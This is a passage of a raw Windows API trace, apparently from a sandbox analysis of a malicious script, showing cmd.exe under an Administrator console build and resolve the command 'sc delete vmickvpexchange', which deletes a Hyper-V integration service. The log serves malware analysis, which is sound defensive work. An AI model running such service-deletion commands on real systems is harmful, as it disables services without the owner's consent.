lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.188] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.188] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.188] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.188] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.188] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0071.188] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.188] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.188] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.188] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.188] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.188] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.188] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.188] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0071.188] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.188] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.188] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.188] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0071.189] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.189] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.189] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.189] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0071.189] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.189] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.189] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.189] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0071.189] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.189] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.189] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.189] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0071.189] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.189] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.189] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.189] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="k") returned 1 [0071.189] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.189] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.190] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.190] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0071.190] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.190] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.190] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.190] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0071.190] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.190] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.190] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.190] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.190] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.190] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.190] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.190] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e344, cchWideChar=1 | out: lpWideCharStr="x") returned 1 [0071.190] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.190] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.190] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.190] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e346, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0071.190] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.191] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.191] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.191] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e348, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0071.191] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.191] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.191] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.191] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34a, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0071.191] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.191] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.191] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.191] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34c, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0071.191] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.191] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.191] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.191] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e34e, cchWideChar=1 | out: lpWideCharStr="g") returned 1 [0071.191] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.191] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.191] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.192] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e350, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0071.192] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.192] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.192] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0071.192] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e352, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0071.193] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.193] GetFileType (hFile=0xb8) returned 0x3 [0071.193] _get_osfhandle (_FileHandle=0) returned 0xb8 [0071.193] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0071.193] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.193] GetFileType (hFile=0x120) returned 0x3 [0071.193] _get_osfhandle (_FileHandle=1) returned 0x120 [0071.193] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete vmickvpexchange\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete vmickvpexchange\n", lpUsedDefaultChar=0x0) returned 27 [0071.193] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x1a, lpNumberOfBytesWritten=0x1afab8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1afab8*=0x1a, lpOverlapped=0x0) returned 1 [0071.193] GetProcessHeap () returned 0x240000 [0071.193] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4012) returned 0x25cd20 [0071.193] GetProcessHeap () returned 0x240000 [0071.193] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd20 | out: hHeap=0x240000) returned 1 [0071.194] _wcsicmp (_String1="sc", _String2=")") returned 74 [0071.194] _wcsicmp (_String1="FOR", _String2="sc") returned -13 [0071.194] _wcsicmp (_String1="FOR/?", _String2="sc") returned -13 [0071.194] _wcsicmp (_String1="IF", _String2="sc") returned -10 [0071.194] _wcsicmp (_String1="IF/?", _String2="sc") returned -10 [0071.194] _wcsicmp (_String1="REM", _String2="sc") returned -1 [0071.194] _wcsicmp (_String1="REM/?", _String2="sc") returned -1 [0071.194] GetProcessHeap () returned 0x240000 [0071.194] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0) returned 0x2597e0 [0071.194] GetProcessHeap () returned 0x240000 [0071.194] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x16) returned 0x258900 [0071.195] GetProcessHeap () returned 0x240000 [0071.195] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x40) returned 0x2598a0 [0071.196] GetConsoleOutputCP () returned 0x1b5 [0071.196] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0071.196] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0071.196] GetConsoleTitleW (in: lpConsoleTitle=0x1afa70, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.196] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0071.196] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0071.196] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0071.196] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0071.196] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0071.197] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0071.197] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0071.197] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0071.197] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0071.197] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0071.197] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0071.197] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0071.197] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0071.197] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0071.197] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0071.197] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0071.197] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0071.197] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0071.197] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0071.197] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0071.197] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0071.197] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0071.197] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0071.197] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0071.197] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0071.197] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0071.197] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0071.197] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0071.197] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0071.197] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0071.197] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0071.197] _wcsicmp (_String1="sc", _String2="START") returned -17 [0071.198] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0071.198] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0071.198] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0071.198] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0071.198] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0071.198] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0071.198] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0071.198] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0071.198] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0071.198] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0071.198] _wcsicmp (_String1="sc", _String2="DIR") returned 15 [0071.198] _wcsicmp (_String1="sc", _String2="ERASE") returned 14 [0071.198] _wcsicmp (_String1="sc", _String2="DEL") returned 15 [0071.198] _wcsicmp (_String1="sc", _String2="TYPE") returned -1 [0071.198] _wcsicmp (_String1="sc", _String2="COPY") returned 16 [0071.198] _wcsicmp (_String1="sc", _String2="CD") returned 16 [0071.198] _wcsicmp (_String1="sc", _String2="CHDIR") returned 16 [0071.198] _wcsicmp (_String1="sc", _String2="RENAME") returned 1 [0071.198] _wcsicmp (_String1="sc", _String2="REN") returned 1 [0071.198] _wcsicmp (_String1="sc", _String2="ECHO") returned 14 [0071.198] _wcsicmp (_String1="sc", _String2="SET") returned -2 [0071.198] _wcsicmp (_String1="sc", _String2="PAUSE") returned 3 [0071.198] _wcsicmp (_String1="sc", _String2="DATE") returned 15 [0071.198] _wcsicmp (_String1="sc", _String2="TIME") returned -1 [0071.198] _wcsicmp (_String1="sc", _String2="PROMPT") returned 3 [0071.198] _wcsicmp (_String1="sc", _String2="MD") returned 6 [0071.198] _wcsicmp (_String1="sc", _String2="MKDIR") returned 6 [0071.198] _wcsicmp (_String1="sc", _String2="RD") returned 1 [0071.199] _wcsicmp (_String1="sc", _String2="RMDIR") returned 1 [0071.199] _wcsicmp (_String1="sc", _String2="PATH") returned 3 [0071.199] _wcsicmp (_String1="sc", _String2="GOTO") returned 12 [0071.199] _wcsicmp (_String1="sc", _String2="SHIFT") returned -5 [0071.199] _wcsicmp (_String1="sc", _String2="CLS") returned 16 [0071.199] _wcsicmp (_String1="sc", _String2="CALL") returned 16 [0071.199] _wcsicmp (_String1="sc", _String2="VERIFY") returned -3 [0071.199] _wcsicmp (_String1="sc", _String2="VER") returned -3 [0071.199] _wcsicmp (_String1="sc", _String2="VOL") returned -3 [0071.199] _wcsicmp (_String1="sc", _String2="EXIT") returned 14 [0071.199] _wcsicmp (_String1="sc", _String2="SETLOCAL") returned -2 [0071.199] _wcsicmp (_String1="sc", _String2="ENDLOCAL") returned 14 [0071.199] _wcsicmp (_String1="sc", _String2="TITLE") returned -1 [0071.199] _wcsicmp (_String1="sc", _String2="START") returned -17 [0071.199] _wcsicmp (_String1="sc", _String2="DPATH") returned 15 [0071.199] _wcsicmp (_String1="sc", _String2="KEYS") returned 8 [0071.199] _wcsicmp (_String1="sc", _String2="MOVE") returned 6 [0071.199] _wcsicmp (_String1="sc", _String2="PUSHD") returned 3 [0071.199] _wcsicmp (_String1="sc", _String2="POPD") returned 3 [0071.199] _wcsicmp (_String1="sc", _String2="ASSOC") returned 18 [0071.199] _wcsicmp (_String1="sc", _String2="FTYPE") returned 13 [0071.199] _wcsicmp (_String1="sc", _String2="BREAK") returned 17 [0071.199] _wcsicmp (_String1="sc", _String2="COLOR") returned 16 [0071.199] _wcsicmp (_String1="sc", _String2="MKLINK") returned 6 [0071.199] _wcsicmp (_String1="sc", _String2="FOR") returned 13 [0071.199] _wcsicmp (_String1="sc", _String2="IF") returned 10 [0071.199] _wcsicmp (_String1="sc", _String2="REM") returned 1 [0071.200] GetProcessHeap () returned 0x240000 [0071.200] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x241ab0 [0071.200] GetProcessHeap () returned 0x240000 [0071.200] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x46) returned 0x25aa40 [0071.200] _wcsnicmp (_String1="sc", _String2="cmd ", _MaxCount=0x4) returned 16 [0071.200] GetProcessHeap () returned 0x240000 [0071.200] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x420) returned 0x259a80 [0071.200] SetErrorMode (uMode=0x0) returned 0x1 [0071.200] SetErrorMode (uMode=0x1) returned 0x0 [0071.200] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x259a90, lpFilePart=0x1af300 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x1af300*="Desktop") returned 0x25 [0071.200] SetErrorMode (uMode=0x1) returned 0x1 [0071.200] GetProcessHeap () returned 0x240000 [0071.200] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259a80, Size=0x62) returned 0x259a80 [0071.201] GetProcessHeap () returned 0x240000 [0071.201] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259a80) returned 0x62 [0071.201] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0071.201] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0071.201] GetProcessHeap () returned 0x240000 [0071.201] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x128) returned 0x241cd0 [0071.201] GetProcessHeap () returned 0x240000 [0071.201] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x240) returned 0x259b00 [0071.210] GetProcessHeap () returned 0x240000 [0071.210] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x259b00, Size=0x12a) returned 0x259b00 [0071.210] GetProcessHeap () returned 0x240000 [0071.210] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x259b00) returned 0x12a [0071.210] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0071.210] GetProcessHeap () returned 0x240000 [0071.210] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xe8) returned 0x255b70 [0071.210] GetProcessHeap () returned 0x240000 [0071.210] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x255b70, Size=0x7e) returned 0x255b70 [0071.210] GetProcessHeap () returned 0x240000 [0071.210] RtlSizeHeap (HeapHandle=0x240000, Flags=0x0, MemoryPointer=0x255b70) returned 0x7e [0071.212] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.212] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0071.212] GetLastError () returned 0x2 [0071.212] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0071.212] GetLastError () returned 0x2 [0071.212] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0071.212] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x255c00 [0071.212] GetProcessHeap () returned 0x240000 [0071.213] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x28) returned 0x254610 [0071.213] FindClose (in: hFindFile=0x255c00 | out: hFindFile=0x255c00) returned 1 [0071.213] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0xffffffffffffffff [0071.213] GetLastError () returned 0x2 [0071.213] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x1af070, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1af070) returned 0x255c00 [0071.213] GetProcessHeap () returned 0x240000 [0071.213] RtlReAllocateHeap (Heap=0x240000, Flags=0x0, Ptr=0x254610, Size=0x8) returned 0x2598f0 [0071.213] FindClose (in: hFindFile=0x255c00 | out: hFindFile=0x255c00) returned 1 [0071.213] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0071.213] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0071.213] GetConsoleTitleW (in: lpConsoleTitle=0x1af5c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0071.214] GetProcessHeap () returned 0x240000 [0071.214] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x21c) returned 0x259c40 [0071.214] GetConsoleTitleW (in: lpConsoleTitle=0x259c50, nSize=0x104 | out: 